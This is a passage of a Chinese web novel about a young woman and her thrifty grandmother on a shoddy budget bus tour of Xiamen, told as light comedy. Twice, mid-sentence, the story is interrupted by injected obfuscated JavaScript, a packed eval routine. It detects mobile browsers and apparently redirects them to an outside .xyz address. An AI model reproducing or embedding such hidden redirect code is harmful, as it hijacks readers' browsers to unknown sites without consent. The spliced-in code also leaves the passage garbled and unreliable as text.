大叔回头瞥她一眼,犹豫了下,从背包里掏出一包已拆封的口罩。 “谢了!”常乐急忙抽出一只,给自己戴上,小口小口吸着气,这才缓了过来。 周围人也纷纷伸出手。不一会儿,一包口罩一抢而空。 “对不住啊。”常乐怕大叔不高兴,道歉道,“下车还你一包。” 大叔咳嗽两声,冲她摆摆手,“没事没事。” 常乐坐下,跟姥姥吐槽道:“到底是谁啊?封闭车厢还放屁,真没素质!” 姥姥气定神闲地说:“反正不是我。俗话说得好,人老屁.眼松,放屁响咚咚。刚刚没听到声音,肯定是一个年轻人放的。” 前后左右的年轻人:“???” 常乐瞠目结舌,急声辩解:“姥,虽说话糙理不糙,但你这话也太糙了……不对,你这也没理啊!凭什么就赖到我们年轻人头上了?我们括约肌的消音功能也经常失灵的!” 前排小哥听到了两人的对话,回头望着她们,举起手发誓:“肯定不是我。要是我放的,我倒立吃屎。” 这话更糙。但常乐不管了,也跟着举起手,“我也吃!” 姥姥斜她一眼,“你吃屎也证明不了什么。你刚刚已经当着全车人的面,承认自己是狗了。” 常乐噎了下,恼羞成怒道:“姥!你到底是哪边的?咱们都是受害者,要一起找出凶手!” “算了吧,你把人揪出来了又能怎样?把他的屁.眼堵上吗?” “我会用正义的眼神谴责他!” 姥姥忍俊不禁,说:“身体里有气,不是从上面嗝出来,就是从下面放出来。这就跟咳嗽一样,是忍不了的。” 仿佛是为了验证她的话,戴口罩的大叔又咳了几声,脖子都憋红了。 不知过了多久,臭味才渐渐消散,常乐终于敢摘下口罩,大口呼吸着并不新鲜的空气。 但这事并未结束。 接下来的几个小时,臭味一波接一波地出现,有时辐射范围小,只有前后几排的人受到毒害。有时量大浓度高,全车的人,包括司机都能闻到。 导游脸色微微发绿,说话也没了力气:“我想再次强调一遍,请某些人注意素质!车厢是密闭空间,一个人的不文明行为,影响的是大家的健康与安全!” 到了中午,大巴车在一处高速服务区停下,全车人迫不及待地下了车,大口呼吸着新鲜的空气。 中午吃的是盒饭,常乐没什么胃口,把盒饭给了姥姥,自己花钱买了一桶泡面。 姥姥气不打一处来:“一出门就乱花钱!有饭不吃,吃这种垃圾食品。” 常乐瞟一眼盒饭里的内容:黏糊糊的米饭、预制菜鱼香肉丝、预制菜梅菜扣肉,以及预制菜麻婆豆腐…… 还不如这碗热气腾腾的泡面有营养呢。 吃过午饭,解决完内急问题,大家陆陆续续地上了车。常乐试图跟最后一排的两人商量着换个座,结果惨遭拒绝:“不行不行,我晕车,必须得开窗。” 常乐只好悻悻地回到原位。 下午的旅程更加难熬。常乐坐得腰酸背痛,只能来回变换姿势,一会儿侧躺着,一会儿硬挺着,一会儿将衣服叠成枕头垫在腰后。但都无济于事,每个姿势只能坚持五分钟。 她刚站起来活动一下筋骨,又被导游呵止了:“哎哎,小妹妹别站起来,注意系好安全带。” 常乐只好又坐回去,侧躺在椅背上,身体扭成S形,呆呆地望着窗外。 这日子何时是个头啊! 身体的难受倒是其次,精神的折磨才让人痛苦。 短暂的午休过后,文艺汇演又开始了,大爷大妈们各显神通,吹拉弹唱什么绝活都亮出来了,要不是导游不允许,他们都恨不得在过道来一段广场舞。 常乐的灵魂已经抽离了,双眼怔怔地盯着手机,都忘了自己要干什么。 手机上显示出她的搜索内容:如何让自己迅速耳聋。 耳膜的轰炸尚且可以忍受,但随时来袭的臭屁攻击,她是真的忍无可忍。 唯一的方法是像警犬一样四处嗅嗅,根据屁的浓度判断出毒源。但,就像姥姥说的,揪出来又能如何呢?总不能报警把他抓走吧? 所以只能忍着。 远处的夕阳渐渐落下,大巴车终于停在了一栋六层小楼前,一楼是餐厅,二楼挂着宾馆的招牌。周围是大片的农田,只有零星几栋自建房,亮着微弱的灯光。 大家也顾不了那么多,坐了一天车,早就腰酸背痛腿抽筋了。他们争先恐后地下了车,挤在行李舱前找自己的行李。 常乐扶着僵硬的腰,缓缓起身,只觉得屁股发硬,双脚肿胀,连路都走不稳了。 反观姥姥,跟没事儿人一样,依旧活蹦乱跳的。 也是,她吃得好,睡得香。常乐怀疑她的嗅觉也退化了,因为她从头到尾就没抱怨过一个臭字。 常乐一瘸一拐地下了车。 大部分人已经被导游带进了餐馆,常乐找到自己和姥姥的行李,跟在他们后头。 餐馆老板给他们安排了五张大圆桌。常乐和姥姥找了两个空位坐下,刚要喝口热茶缓缓,店员就推着小推车上菜了。 一盘玉米鸡丁刚上桌,几只勺子齐刷刷伸过去,几秒种后,盘子里就只剩下几颗玉米粒。 常乐茶刚喝到一半,见此情景,急忙放下茶杯,安慰自己:不要紧,这才刚开始,好吃的还在后头呢。 第二盘是麻婆豆腐。常乐暗自嘀咕:就没点闽南特色菜吗? 勺子迟了两秒伸过去,又秒空。 常乐:这也要抢?这群人是饿了多少天啊? 第三盘是白灼基围虾。菜还没上桌,全桌人就虎视眈眈盯着盘子,左手端碗,右手举筷,眼里闪烁着势在必得的光。 常乐活动了一下手腕,举起筷子,屏住呼吸,只等盘子落桌。 谁料,盘子还在空中时,已经有几双筷子伸了过去。 常乐急忙起身,伸出筷子,刚瞄准了一只大虾,忽然,整只盘子被人端走了! 常乐瞪大眼睛,简直不敢相信——左手边的红衣服大妈居然端着盘子,往自己碗里拨了半碗大虾。 实在太过分了! 常乐忿忿不平地说:“大妈,你别那么自私!我们这么多人呢,你一个人都抢光了,我们吃什么?” 大妈面不改色地将盘子放回桌上,还厚颜无耻地笑笑:“哎呀,你个小姑娘少吃点虾,里头有避孕药的,吃多了生不出孩子。” “哈!”常乐两眼发光,“还有这种好事?那我得多吃点!” 说时迟那时快,她迅速伸出筷子,从大妈碗里夹出一只大虾,放到自己碗里。 大妈急了,伸手挡住自己的碗,嚷嚷道:“哎,你这小姑娘怎么这么不懂事!有没有素质!” 常乐笑眯眯地说:“跟你学的。” 说完,她放下筷子,直接伸出手,抓住大妈挡碗的手往上掰,等空间足够大,又迅速伸出另一只手,探进她碗里,一把抓住两只大虾。 大妈又急又气,提起一口气,正要破口大骂,桌上又上来一盘辣炒花甲。 眼看盘子已经空了大半,她立刻没心情跟常乐掰扯了,着急忙慌地伸出筷子,往自己碗里夹了几枚。 常乐喜滋滋地看着碗里的战利品,正要跟姥姥分享,一转头,见她碗里已经有了两只。 “姥,你战斗力可以啊!”她惊叹道。 姥姥用筷子指了指隔壁桌,“那桌年轻人多,脸皮薄,不好意思抢菜,都给我抢了。” 常乐:“……” 还是年轻人好欺负啊。早知道就去那桌了。 这顿饭吃得……怎么说呢,气氛是烘托到位了,火药味十足,但菜的味道,只能说是一言难尽。 她根本没吃几口,纯纯是气饱了。 一有好菜上桌,红衣服大妈就故技重施,把餐盘抢过去,给自己拨一半。 常乐看得直怄火,又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737364|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能老去抢她碗里的东西,毕竟她碗里还有些残羹冷炙,怪恶心的。 幸好姥姥时常去年轻人那桌抢菜,抢到什么吃的,都会给常乐分一点。 常乐吃着碗里的糖醋里脊,心里挺不是滋味的。 在家里什么美味佳肴吃不到?大老远跑这儿来体验难民生活,何苦呢? 晚上的住宿就在这家餐馆楼上,住宿条件也不尽如人意。空调泛黄,马桶反味,床单枕套有不明污渍,桌上放着两瓶不知名的矿泉水,电视机还是那种早该被淘汰的盒式电视机…… 常乐叹了口气,一屁股坐在单人床上,感觉浑身的力气都被抽空了。 算了,就这样吧,499,还能指望住什么五星级大酒店吗? 群里有人吐槽条件太差,导游大言不惭地说:【相信大家已经住腻了那种连锁酒店,所以这次就带大家体验一下我们厦城的特色民宿……】 啰里八嗦说了一大堆,最后还不忘叮嘱道:【大家早点休息,别忘了明天早上六点集合哦。】 常乐又长长地叹了口气。 起这么早,是要去海边看日出,还是要去学校看升旗啊? 起早贪黑,累得要死,睡不好还吃不饱,这跟上高中有什么区别? “别唉声叹气了。”姥姥蹲在地上,从行李箱里取出两人的衣物,“赶紧去洗澡!” 在忽冷忽热的花洒下洗完澡,常乐哆哆嗦嗦地出来,从床头柜里找到一台松松垮垮的吹风机。 这古董般的玩意儿,真的能用吗?该不会漏电吧? 常乐小心翼翼地插上插头,打开开关,调到热风。 刚吹了几秒,“啪——” 断电了。 常乐对着黑漆漆的房间翻了个白眼。 手机亮了一下。她拿起一看,群里又炸开了锅。 导游解释道:【民宿老板说,平时使用大功率电器是没事的,但今天住的人比较多,所以还请大家不要使用吹风机。】 不一会儿,电就恢复了。 常乐不敢再尝试吹风机,只得用毛巾一遍遍搓着头发,尽量将水分吸干。 还不到九点,她已经饿了。她打开手机,想点外卖,却发现必须把定位改到五公里外的小镇上,才能看到寥寥几家门店。 常乐:“……” 她错了。这日子比高中还惨。 晚上睡觉前,姥姥咳了几声,常乐也忍不住跟着咳嗽。 “姥,我喉咙有点痒。”常乐重新开灯,给自己灌了半瓶矿泉水。 “我也是。”姥姥有气无力地说,“别喝太多水,晚上要起夜,麻烦。” 关上灯,常乐躺在床上,心里叫苦不迭。 被窝是潮的,空气中有厕所的反味,不时能听见楼上的冲水声。 这才第一天,她就已经历尽人间疾苦,之后的几天可怎么熬啊? 想想就头疼。 第二天,闹钟响起时,天还没亮。 房间里光线昏暗,常乐艰难地睁开一只眼,从被窝里伸出胳膊,揉了揉脑袋。 姥姥也被闹钟吵醒了。她哑着嗓子,催促常乐:“你先洗,洗完了叫我。” 常乐挣扎着爬起来,双脚刚一落地,就感觉头重脚轻,浑身酸软无力。 “姥,我头疼。”她揉了揉太阳穴,里头好像有根筋突突地跳得厉害。 姥姥翻了个身,睁开惺忪的睡眼,瞪着她。 “肯定是昨天累着了。赶紧的,洗个脸就好了。” 洗完脸后并没好,常乐只觉得头疼得更厉害了,双腿无力,走路都开始打颤。 姥姥下了床,脚步蹒跚地走到洗手间,开始刷牙。 她的脸色也不太好,整个人透着疲态,困得眼睛都睁不开。 “姥,要不请个假吧?” “那不是白来了吗?”姥姥满嘴喷白沫,态度坚决,“来都来了,难道要在民宿躺一天?忍忍就好了,待会儿上车补个觉。” 常乐轻呵一声。 补觉?一个大嗓门且话痨的导游,一群表演欲旺盛的大爷大妈,能让她安心补个觉? 常乐拗不过姥姥,只好忍着头疼换好了衣服,检查好装备,在六点还差五分时出了门。 天空倒是很美,地平线上蔓延开一抹绯红,渐渐变成橙黄,连接着上方的浅蓝,如同一幅绚丽的水彩画。 在大巴车前,导游给大家发放早餐。常乐领到了两个温热的小包子、一个温热的水煮蛋,以及一小盒酸奶。 还不错,至少早餐是热乎的。她打起精神,咬了口包子。 第一口,没看到馅。 第二口,没了。 常乐无语了。 馒头就馒头呗,她又不嫌弃,干嘛伪装成包子来欺骗她感情。 匆匆吃完早餐,常乐扶着姥姥上了车。 她吸取昨天的经验教训,抢先占领了最后一排靠窗的位置,打开车窗,尽情呼吸着清晨微凉的空气。 新的一天,新的历劫,开始了。 36. 36 大巴车穿过农田、经过城乡结合部、驶过宽阔的马路,窗外终于出现了城市的景观。 常乐低头研究手机里的地图,厦城分为岛内和岛外,景区大多集中在岛内,而他们昨晚住的民宿,位于岛外最偏远的乡村,旁边就是省道。 难怪要起这么早。常乐暗暗嘀咕,这种美团和大众上都找不到的破烂小旅馆,是怎么被旅行社这帮人给挖掘到的? 两个小时后,大巴车终于在码头停下。导游举着小旗子,一伙人跟在她身后,登上了去往鼓浪屿的轮渡。 今天天气不错,天空碧蓝,海水——如果这也算海的话——不如常乐想象的那般蓝,但也算清澈。渡船晃动的幅度不大,但常乐仍感觉脑袋晕乎乎的,甚至有点想吐。 “姥,你头还疼吗?”她一手抓紧栏杆,一手搀扶着姥姥。 姥姥嘴唇紧抿,目视着前方,花白的鬓发在海风中起舞。 “没事。”她摇摇头,“应该是没休息好。中午补个觉就好了。” 常乐无言以对。 早晨出门前,姥姥就说在车上补个觉就好。可是这一路上,导游就没消停过,介绍完今天要去的景点后,就开始逐个点名上来表演节目。 昨天给全车人留下深刻印象的常乐,当然不会被她放过。 但不管她怎么起哄,怎么激将,常乐都不为所动。她戴着口罩,双臂抱怀,眼神空洞地盯着导游,仿佛在看一团空气。 导游最终没有如愿。但常乐也没好到哪儿去,全程两个小时,她就眯了不到十分钟,还是因为导游的话筒没电了。 中午再补个觉? 这个愿望有点奢侈。 二十分钟后,轮渡终于靠岸,游客们一窝蜂地下了船,导游摇晃着小旗子,将大家聚集到一处。 “现在大家自由活动,可以乘坐电瓶车环岛游览,欣赏沿途的自然风光,也可以往里面走走,欣赏中西合璧的历史建筑,感受鼓浪屿的人文风情。”她低头看了眼手机,“现在是八点五十,给大家一个小时,九点五十在这里集合。” 常乐:???她没听错吧?就一个小时? 她在网上搜的环岛攻略,最快的也得半天时间呢。 导游话音刚落,一群人就作鸟兽散。常乐拉着姥姥,沿着一条蜿蜒的小路往上走。 “姥,我查过了,岛上的景点有日光岩、菽庄花园、皓月园什么的,咱们开启特种兵模式,争取一个小时内逛完!” “没问题!”姥姥也干劲十足,迈开大步跟在她身后,走了没一会儿,忽然想到一个关键问题:“你说的这些景点,要不要门票啊?” 常乐头也没回:“当然要啦,不过不贵——” “那算了。”姥姥一把撒开她的手,坐在路边的花坛上,“要门票就不去了。” 常乐气得脑袋疼:“不是,人家好歹是个5A级景区,收点门票不过分吧?而且我查过了,买联票可以省不少钱呢。” 姥姥摆摆手,“才一个小时,就随便逛逛吧,别折腾了。” “姥儿,”常乐不得不搬出万能句式,“咱们来都来了……” 可是,不管她怎么软磨硬泡,姥姥都软硬不吃。 “算了算了,”常乐终于放弃了,双手掐腰,大喘一口气,“随便逛吧。一分钱别花,什么都别买!” 时间已经过去了十分钟。 常乐拉着姥姥在巷子里一顿暴走,碰到好看的地方就停下来拍拍照,走到一片热闹的商业区,趁着姥姥上厕所的工夫,常乐以迅雷不及掩耳之势,冲到一个卖海蛎煎的小摊面前,急吼吼地说:“给我来一份!” 旁边是卖烧仙草的。常乐觉得好奇,也买了一杯。 正要去前面的沙茶面店看看,姥姥出来了,在人群中迅速锁定她的背影。然后,一只枯瘦的爪子伸过来,揪住她的帽衫。 常乐一手端着烧仙草,一手提着海蛎煎,嬉皮笑脸地说:“姥,我这不是怕你饿了嘛,嘻嘻。” 姥姥冷着脸,瞟着她手里的食物,问:“花了多少钱?” “没多少。”常乐厚着脸皮说,“老板看我好看,免费送的。” 姥姥翻了个白眼,视线越过她的肩,望向小摊的招牌—— 海蛎煎,25元一份, 再看向旁边,烧仙草,每杯15元。 “记你账上了。”姥姥松开爪子,掏出手机,啪啪打字,“还有上次买泡面花了10块,你已经花了50了!” 常乐一脸无所谓,吸了一口烧仙草,然后递到姥姥面前,怂恿道:“姥,试试呗。” 姥姥皱着眉头浅尝了一口,嫌弃道:“噫,又苦又甜的,难喝死了。” 一旁卖烧仙草的大婶:…… 姥姥又说:“吃完赶紧回去,已经九点半了。” “不是吧?”常乐不乐意了,“这才刚进入主题就要回去了?” “你旅游的主题就是吃吃喝喝?” “那我想逛景点,你又不让。” “……”姥姥噎了一下,拽住她的胳膊,“走了走了,迟到了耽误大家的时间。你一个人耽误一分钟,五十个人就要耽误五十分钟。” 姥姥一路上连拖带拽,健步如飞,终于赶在九点五十分之前,拖着常乐回到了码头边。 此刻,回来的游客并不多。导游坐在石墩上,休闲地刷着手机。 “人呢?”常乐环顾四周,“这不都到时间了吗?” 导游漫不经心地说:“再等等吧,等人齐了一起出发。” 常乐夹了一块海蛎煎塞进嘴里,心情郁闷。 早知道大家都不准时,她就该多逛会儿。这世上吃亏的永远是老实人。 十点了,导游起身清点人数。 “……还差两个,吴翠和孙秀琴。”她伸长脖子,东张西望,“大家有没有她们的电话,催一催,船马上就要开了。” 姥姥急忙掏出手机,翻找孙婆婆的号码。 就在这时,远处传来一道女声:“哎——等会儿!” 常乐回头一看,一只灰色的貂正向他们奔来,手上还甩着几个纸袋。 后面跟着孙婆婆,她跑一会儿歇一会儿。五分钟后,终于回到大部队,她扶着老腰,大口大口地喘着气。 “去哪儿了,老孙?”姥姥轻拍着她的后背,给她顺气。 孙婆婆还是喘不过气,翠姨一脸喜气地接话:“她去了日光岩。有句话说,不到日光岩,不算到厦城。站在上面可以看得老远呢。” 她停顿一下,提起手中的纸袋,略带炫耀道:“不过我没去。我在附近逛了逛,买了好几条珍珠项链呢。” 听到这话,导游脸色有些不悦,故作惋惜道:“哎呀,你怎么在这里买啊?这边的店都是骗人的。我下午带你们去一家商场,那里的珍珠才又好又便宜呢。” 常乐撇撇嘴:我信你个鬼! 姥姥扶着孙婆婆,问:“老孙,日光岩要门票吗?多少钱啊?” “不要钱。”孙婆婆摆摆手,“65岁以上免费。” “啊???”常乐和姥姥同时发出惊呼。 两人对视一眼,脑子里飘过同一个念头—— “亏大了!” 一行人顺利搭上返航的轮渡,又坐上大巴车,抵达下一个景点——厦城大学。 漂亮的校门如同偶像剧里的布景,常乐忍不住幻想,在美丽的校园里化身楚雨荨,上演一段“艾利斯顿商学院,我终于考上了”的桥段。 一行人在校门口集合,齐喊“茄子”,拍了张大合照。 接下来的几分钟,大家各自跟校门合影,P图精修,顺便发个带定位的朋友圈。 常乐一直等着导游带自己进去,结果,导游大手一挥:“上车!咱们去下一个景点。” “这就走了?”常乐大失所望,“不进去逛逛吗?” “进厦城大学参观需要提前预约,咱们没预约,所以进不去。”导游说得理直气壮。 常乐目瞪口呆。 那你倒是给我们预约啊! 导游不就是干这事的吗? 这两天经历的奇葩事太多,常乐已经没有力气去吵架了。更何况,她现在头疼得更厉害了。 大巴车绕着厦城大学,将一行人带到一片沙滩,隔着一道天桥,是大学的另一处大门。 又是一个小时的自由活动时间。 常乐没什么心情,坐在沙滩上,眺望着并不宽阔的大海,手指胡乱扒拉着沙子。 不远处,有个卖椰子的小摊。 “姥,”她又蠢蠢欲动了,“我想喝椰子。” 姥姥拧开保温杯,递给她,“喝两口茶解解渴。” “我就是要喝!”常乐来了脾气。好不容易出来一趟,吃也吃不好,玩也玩不好,还不让花钱,这不是纯纯找虐吗? 她起身拍拍屁股上的沙,气冲冲地朝小摊走去。 走了两步又停下,回头征求姥姥意见:“你喝不喝?” 姥姥头摇得很坚决,“我不喝那玩意儿。” 不喝拉倒。常乐大步向前走,不一会儿就回来了,怀里抱着一个开了口的青皮椰子,里头还插着根吸管。 她坐回姥姥身边,捧着椰子,嘴里咬着吸管。 “甜不甜?”姥姥状似不经意地问。 “……” 常乐犹豫了两秒,将椰子递到她面前。 “要不我再去给你买一个?”她问。 姥姥一边摆手,一边低头吸着椰子水,还说:“我不爱喝这玩意儿。” 常乐:“……” 那你倒是松口啊! 今天状态不好,玩得也不尽兴,常乐连拍照的心情都没有。 她百无聊赖地眺望着海面。在潮湿的海风中,她的脑海中忽然浮现出一个女孩的脸。 “郁青姐就是这所大学毕业的。”常乐自语道。 姥姥的嘴终于离开了吸管,“谁?” “林郁青啊。她也是教师小区的,她妈妈是实小的老师。”常乐努力在记忆库里搜索林郁青的信息,“她比我大几岁,成绩很好,我初三那年,她还给我补过课。” “哦!”姥姥想起来,“她妈是实小的叶老师,叫叶、叶什么雯来着。” 常乐点点头,继续回忆道:“我初三那年,她刚高考完,我妈就把我送到她家补课,补了一个暑假。说实话,要不是她,我还不一定能考上高中呢。” 姥姥指了指身后的学校大门,问:“她毕业了吗?” “早毕业了,听说留在厦城工作了,还自己买房买车了呢。” “真厉害。”姥姥感叹道。 过了会儿,她忽然想到什么,急忙问常乐:“哎,她是这所学校毕业的,应该可以随便进出校门吧。要不你跟她联系联系,让她带我们进去?” 常乐抗拒道:“能不能有点边界感?别老是麻烦人家,进不去就算了嘛——” 话未说完,就被身后一道带着浓重口音的男声打断:“我可以带你们进去啊。” 常乐和姥姥同时回过头。 一个皮肤黝黑的中年男人蹲在她们身后,穿着条纹POLO衫,斜挎着一个小黑包,听口音像本地人。 常乐挑起眉,试探着问:“怎么进去啊?” “我有办法啦。”黑皮男一脸神秘。 常乐保持着警惕,问:“多少钱?” 黑皮男伸出两只手指,“一个人二十,保证能带进去。” 倒是不贵,但是不管常乐怎么套话,他就是不肯说是什么办法。 万一是把门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742713|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫打晕,那她们岂不成了帮凶? 经过深思熟虑后,常乐坚定地拒绝:“算了,我们时间不够,就不进去了。” 黑皮男站起身,悻悻地走开了。 常乐盯着他的背影,实在好奇。见他很快又勾搭上了两个年轻女孩,一番交涉后,年轻女孩点点头,掏出手机扫码付费。 “走。”常乐拉起姥姥,小声说,“跟过去看看。” 她们远远地跟在黑皮男和两个女孩后面,看着他们穿过天桥,但是并没有直接进校门,而是沿着围墙走了五分钟,最后钻进了一片高大的散尾葵里。 常乐弯着腰,偷偷钻进去,很快跟上他们。 只见黑皮男不知从哪儿搬来一把梯.子,架在围墙上,催促女孩们赶紧爬上去。 其中一个女孩有些犹豫,问:“那我们怎么下去啊?” “哎唷,美女,放心啦,那边有我朋友接应,不会摔倒的啦。”黑皮男拍着胸脯保证。 常乐又震惊又想笑。 还以为他有什么妙招,原来就是翻.墙啊,也没什么技术含量嘛。 “歪门邪道。”姥姥骂了一句,扭头钻出了散尾葵。 常乐追上去,挽着她的胳膊,“算了,咱们就在海边散散步吧,也挺惬意的。” 集合时间很快就到了,也许是海边实在没什么好玩的,这次大家都到得很准时。 大巴车又行驶了十几分钟,停在了一片叫曾厝垵的商业区。在导游的带领下,他们沿着巷子七弯八绕,最后进了一家不起眼的海鲜大排挡。 这家店装修简陋,店里空荡荡的,没有一桌客人,空气中还隐隐有股臭鱼烂虾味。 常乐有种不祥的预感。 但她已经麻木了。 算了,有什么吃什么吧,吃不死就行。 常乐让姥姥先进去占座,自己折返回去。 刚刚穿过小巷时,她注意到路边有家药店,忽然想起还欠大叔一包口罩。 付完钱后,常乐脚步一顿,转身又问店员:“我可能是感冒了,有些头疼,有什么药推荐吗?” 店员问:“还有其它症状吗?发不发烧?” 常乐回忆道:“我也没测过,就觉得喉咙痒,脑袋疼,浑身酸痛……像是阳了。” 店员掏出温度计,给她测了个耳温。 “37度8,低烧。结合你说的症状,应该是病毒感染。”店员给她拿了一盒对乙酰氨基酚,叮嘱道,“它能缓解发热和疼痛,让你好受一点。不过病毒性感冒只能靠人体免疫系统硬抗,所以最近要注意休息,多喝热水。” “谢谢。”常乐付了钱,正要离开,又想到一件事:“再给我拿一包口罩吧。” 常乐戴着口罩回到大排档,在姥姥身边坐下。面前的碗里已经堆满了食物。 姥姥又给她夹了几根青菜,说:“再不回来,菜都快抢光了。” 常乐环视桌面一圈。她想起上车前,导游还信誓旦旦说中午吃海鲜大餐,结果这满满一桌菜,能称之为海鲜的,只有一盘辣炒花甲,和一碟酱油水小杂鱼。 哦,还有一盆涮锅水似的的紫菜蛋花汤。 常乐夹起花甲里的肉,塞进嘴里,刚嚼一口,就听到“咯噔”一声脆响。 常乐脑子都震懵了。 她吐出花甲肉,表情痛苦。 这花甲是刚从海滩里淘出来的吗?这么多沙,差点把她的牙给崩碎。 旁边的年轻小伙子已经放下了筷子,生无可恋地喝起了大麦茶。常乐也给自己倒了一杯涮涮口。 “哎,小妹妹。”小伙子开玩笑地喊她。 常乐瞪着他,这才认出,他就是昨天坐在她前排、发誓要吃屎的那位小哥。 “问你件事儿。”他放下杯子,一本正经地说,“你找到放屁的凶手了吗?” 常乐皱起眉头。昨天的痛苦回忆又席卷而来,她甚至还能隐隐闻到那股臭味。 “……还让不让人吃饭了?”她长叹一口气,“没找到。你有什么线索吗?” 小哥指了指她下巴上的口罩,问:“你是感冒了吗?” 常乐以为他是介意这个,赶紧擦了擦嘴,戴上口罩。 “我应该是阳了。” 小哥说:“我也是。昨天晚上喉咙有点痒,今天早上起来就头晕脑胀的,跟我当初阳了的症状很像。” 常乐点点头。同是天涯沦落人,然后呢? “你想说什么?” “我刷到一篇帖子,说现在流行一种病毒,会让人不停地放屁,闻到屁味的人也会被感染。” 常乐:“……” 大兄弟,你是认真的吗? 还是在构思一篇末世小说? 怎会有这么无厘头的病毒? 小哥见她满脸狐疑,便掏出手机,熟练地打开小红书,找到一篇帖子。 “你自己看。”他将手机递过来,“这个人说他在飞机上闻到了屁味,还不止一波,当天晚上他就发烧了,确诊是病毒感染。” 常乐拿起手机,一目十行地看完帖子,仍半信半疑。 继续往下看评论,底下居然有不少人表示,自己也有相似的经历。他们还给这种病毒起了个通俗易懂的名字——“放屁株”。 噫…… 越看越像真的。 这病毒也太变态了,变着法儿地残害人类啊。不仅攻击她的身体,还要折磨她的精神。 常乐顺着这条思路分析道:“所以说,昨天那个放屁的人,已经感染了病毒?” 小哥点点头,继续提醒她:“你想想,昨天咱们那一圈人,谁最像生病了?” 常乐脑子里白光一闪。 所有事情都串联起来了。 她的手揣在兜里,不自觉攥紧了口罩。 37. 37 吃完中饭,大家都无精打采地往回走。几个年轻人没吃饱,在路边买了几串烤鱿鱼。常乐也想买,一转头,看见姥姥威胁的眼神,又忍住了。 算了算了,就当减肥了。 上车前,她追上那位戴口罩的大叔,拍拍他的肩膀。 大叔正挽着一个步履蹒跚的老婆婆,看年龄,应该是他妈。他回过头,看到常乐,神色有些诧异。 “大叔,”常乐从兜里掏出一袋口罩,“昨天跟你借的口罩,说好了下车还你。” 大叔眉头瞬间松下来,眼角笑出层层褶皱,“嗐,这点小事,你还一直记着……”他犹豫了下,接过口罩,“行吧,那我就收下了。” 常乐手重新插回兜里,视线在他和老婆婆之间打转,几次欲言又止。 “还有事吗?”大叔问。 “呃,我……” 常乐本想毫不留情地指出他的不文明行为,或者用正义的眼神谴责他,可是,当真的站在所谓的“凶手”目前时,她忽然觉得……很难开口。 何必呢? 又不是多大的事,大叔只是生病了,又不是故意要释放毒气祸害全车百姓。 算了算了。 “大叔,”常乐换了个随意的语气,“我看你身体好像不太舒服,是不是病了?” 大叔咳嗽几声,“是有点,最近又有一波流感病毒,我应该是中招了吧。” 常乐意有所指:“病了就好好在家休息,等调养好了再出来玩嘛。” 大叔点点头,“我也想啊。但是我妈年纪大了,一个人出来玩,我不放心。” 老婆婆冲常乐笑了笑,带着几分歉意。 常乐也尴尬地笑了下,冲他们摆摆手,“嗐,没事了,你们赶紧上车吧。” 她回头去找姥姥,却发现她就站在身后。 等大叔和老婆婆上了车,姥姥搡了搡常乐的胳膊,小声说:“还算你有点人性。” “何止是人性,简直是圣母的光辉啊。”常乐都要被自己感动了。 姥姥嗤笑一声,跟在她后面上了车,径直奔向最后一排。 坐好后,姥姥又悄声说:“我有时候觉得你太较真了,一点小事都揪着不放。这世上很多事,都是睁一只眼闭一只眼就过去了,没必要刨根问底。” “我只是好奇嘛,又没打算把他怎么样。”常乐解释道,“难道你就不想找到凶手?” 姥姥得意地挑挑眉,“我早就看出来了。昨天在车上,他只要一挪动屁股,过个几秒钟,我就会闻到臭味。” 她瞟了常乐一眼,“哼,哪像你,眉毛底下两个蛋,只会眨眼不会看,一点都不留心观察。” 常乐惊呼:“那你不早说!” “我都说了,一点小事,没必要揪着不放。”姥姥摆摆手,“行了,这事儿翻篇了,赶紧补个觉。” -- 下午,蓄谋已久的购物环节终于上线了。 导游把大家领到一处大卖场,激情澎湃地说:“大家既然出来玩,就要多消费。现在国家正在积极扩大内需,内需是什么?就是消费啊!你花得越多,对国家GDP的贡献也就越大。国家兴亡,匹夫有责啊……” 常乐跟姥姥无语地对视一眼。 一上来就要拔到这种高度吗? 导游继续介绍:“这个商场是厦城最顶级的商场之一,大家可以看到,里面的珍珠、玉器、银器,应有尽有,还有不少免税商品,比如乳胶枕头、进口锅具,比你们在网上买的便宜多了。你们来这里就是赚到,买得越多,赚得越多……” 旅游团的老套路了,大家出发前都做好了心理准备,所以对她的一系列洗脑话术都没什么反应。 直到身后的卷帘门“哗啦”一声关上。 常乐顿时急了,嚷嚷道:“关门干嘛啊?” “小妹妹放心,时间到了自然会让你们出去。”导游不怀好意地笑道,“现在,大家可以自行选购商品。” 大家都站在原地,表情迷茫。 像一群待宰的猪。 翠姨率先离开大部队,凑到卖珍珠的柜台前,俯身查看价格,嘀咕道:“比我买的贵多了。” 导游也凑了过来,极力推销道:“但是品质好多了呀,你看看这光泽度、这圆润度……” 翠姨一脸嫌弃地撇撇嘴,转向了另一个柜台。 常乐扶着姥姥四处转悠,准备找个角落苟着。这时,一个瘦高个的男店员飘了过来,紧跟在她们身后,彬彬有礼地说:“两位需要什么呢?我可以帮你们找找。” 姥姥回过头,毫不客气说:“我需要椅子。这么大一家店,连个坐的地方都没有,你们的服务也太差了。” 店员的笑容仍挂在脸上,“抱歉,我们只提供购物服务哦。您是身体不舒服吗?我推荐您看看我们的乳胶床垫……” 他巴拉巴拉说了一大堆,常乐和姥姥一句没理会。 